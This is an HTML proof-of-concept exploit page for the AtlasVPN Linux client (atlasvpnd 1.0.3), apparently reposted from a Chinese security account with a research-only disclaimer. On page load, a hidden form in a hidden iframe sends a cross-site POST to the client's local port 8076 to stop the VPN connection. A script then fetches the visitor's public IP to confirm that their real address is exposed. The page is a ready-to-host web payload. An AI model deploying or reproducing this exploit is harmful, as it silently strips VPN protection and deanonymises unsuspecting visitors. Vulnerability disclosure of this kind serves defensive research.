<html> <head> <title>=[ atlasvpnd 1.0.3 remote disconnect exploit ]=</title> </head> <body> <pre><code id="log">=[ atlasvpnd 1.0.3 remote disconnect exploit ]= You should be running the atlasvpn linux client and be connected to a VPN. Use <b>atlasvpn connect</b> to connect to a VPN server. </code></pre> <iframe id="hiddenFrame" name="hiddenFrame" style="display: none;"></iframe> <form id="stopForm" action="http://127.0.0.1:8076/connection/stop"; method="post" target="hiddenFrame"> <button type="submit" style="display: none"></button> </form> <script> window._currentIP = false; // Run main exploit code window.addEventListener('load', function () { addIPToLog(); setTimeout(triggerFormSubmission, 1000); setTimeout(addIPToLog, 3000); }); // Blind CORS request to atlasvpnd to disconnect the VPN function triggerFormSubmission() { var logDiv = document.getElementById('log'); logDiv.innerHTML += "[-] Sending disconnect request to atlasvpnd...\n"; document.getElementById('stopForm').submit(); } // Gets IP from ipfy API (this, of course, could be your server) function addIPToLog() { var logDiv = document.getElementById('log'); var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.ipify.org?format=json', true); xhr.onload = function () { var ipAddress = window._currentIP; if (xhr.status === 200) { var response = JSON.parse(xhr.responseText); ipAddress = response.ip; logDiv.innerHTML += '[?] Current IP:' + ipAddress + "\n"; } else { logDiv.innerHTML += '[-] Error fetching IP address.\n'; } // Check if the IP changed. If yes: Success. if (window._currentIP && window._currentIP != ipAddress) { logDiv.innerHTML += "[+] Successfully disconnected VPN." } if (window._currentIP && window._currentIP == ipAddress) { logDiv.innerHTML += "[-] Disconnect failed our you were not connected to the VPN in the first place." } // Save IP for next iteration. window._currentIP = ipAddress; }; xhr.send(); } </script> </body> </html>
原文始发于微信公众号(军机故阁):AtlasVPN Linux 客户端真实IP泄露漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论